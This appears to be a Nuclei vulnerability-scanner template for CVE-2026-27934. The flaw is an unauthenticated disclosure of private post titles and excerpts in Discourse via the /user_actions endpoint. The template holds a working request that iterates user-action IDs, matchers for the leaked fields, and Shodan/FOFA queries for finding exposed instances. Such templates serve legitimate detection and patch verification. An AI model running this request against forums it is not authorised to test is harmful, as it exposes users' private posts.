Copy
id: CVE-2026-27934
info:
name: Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 - Unauthenticated Private User Action Disclosure
author: str4k3r
severity: high
description: |
Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 contains an information disclosure vulnerability caused by lack of visibility checks in a user action API endpoint, letting unauthorized users access post titles and excerpts, exploit requires no special privileges.
impact: |
Unauthorized users can access post titles and excerpts, leading to information disclosure.
remediation: |
Upgrade Discourse to 2026.1.2, 2026.2.1, 2026.3.0-latest.1, or later.
reference:
- https://github.com/discourse/discourse/security/advisories/GHSA-824f-66wh-xx3g
- https://nvd.nist.gov/vuln/detail/CVE-2026-27934
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
cvss-score: 8.7
cve-id: CVE-2026-27934
epss-score: 0.00423
epss-percentile: 0.34807
cwe-id: CWE-862
metadata:
verified: true
max-request: 20
vendor: discourse
product: discourse
shodan-query: http.html:"Discourse"
fofa-query: body="/assets/discourse"
tags: cve,cve2026,discourse,idor,exposure,unauth
http:
- raw:
- |
GET /user_actions/{{id}}.json HTTP/1.1
Host: {{Hostname}}
payloads:
id:
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'regex("\"action_type\":(2|6|7|9|11)([,}])", body)'
- 'contains(body, "\"excerpt\":")'
condition: and
extractors:
- type: regex
name: action_type
group: 1
regex:
- '"action_type":([0-9]+)'
# digest: 4a0a00473045022100d18c78f012381918e894df4033900bc632b5781b43fb21fa3020812444ed7118022052d1c087b154fee37aa64b42c061c92ed1f3fa96622d8ea9b43138d2b671a2a6:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.